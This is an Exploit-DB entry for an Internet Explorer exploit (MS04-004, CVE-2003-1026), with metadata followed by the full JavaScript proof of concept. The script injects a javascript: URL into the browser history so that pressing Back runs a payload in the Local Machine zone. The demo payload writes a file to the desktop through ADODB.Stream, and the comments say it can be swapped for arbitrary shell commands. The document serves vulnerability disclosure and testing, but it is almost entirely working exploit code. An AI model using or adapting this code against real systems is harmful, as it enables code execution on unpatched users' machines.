Microsoft Internet Explorer - URL Injection in History List (MS04-004)

Author: Andreas Sandblad
type: remote
platform: windows
port: 
date_added: 2004-02-03  
date_updated: 2016-03-07  
verified: 1  
codes: OSVDB-3791;CVE-2003-1026;MS04-004  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comie6setup.exe  

raw file: 151.txt

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name:     payload
// Purpose:  Run payload code called from Local Machine zone.
//           The code may be arbitrary such as executing shell commands.
//           This demo simply creates a harmless textfile on the desktop.
function payload() {
  file = "sandblad.txt";
  o = new ActiveXObject("ADODB.Stream");
  o.Open();
  o.Type=2;
  o.Charset="ascii";
  o.WriteText("You are vulnerable!");
  o.SaveToFile(file, 2);
  o.Close();
  alert("File "+file+" created on desktop!");
}

// Name:     trigger
// Purpose:  Inject javascript url in history list and run payload
//           function when the user hits the backbutton.
function trigger(len) {
  if (history.length != len)
    payload();
  else
    return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name:    backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
  location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
  backbutton();


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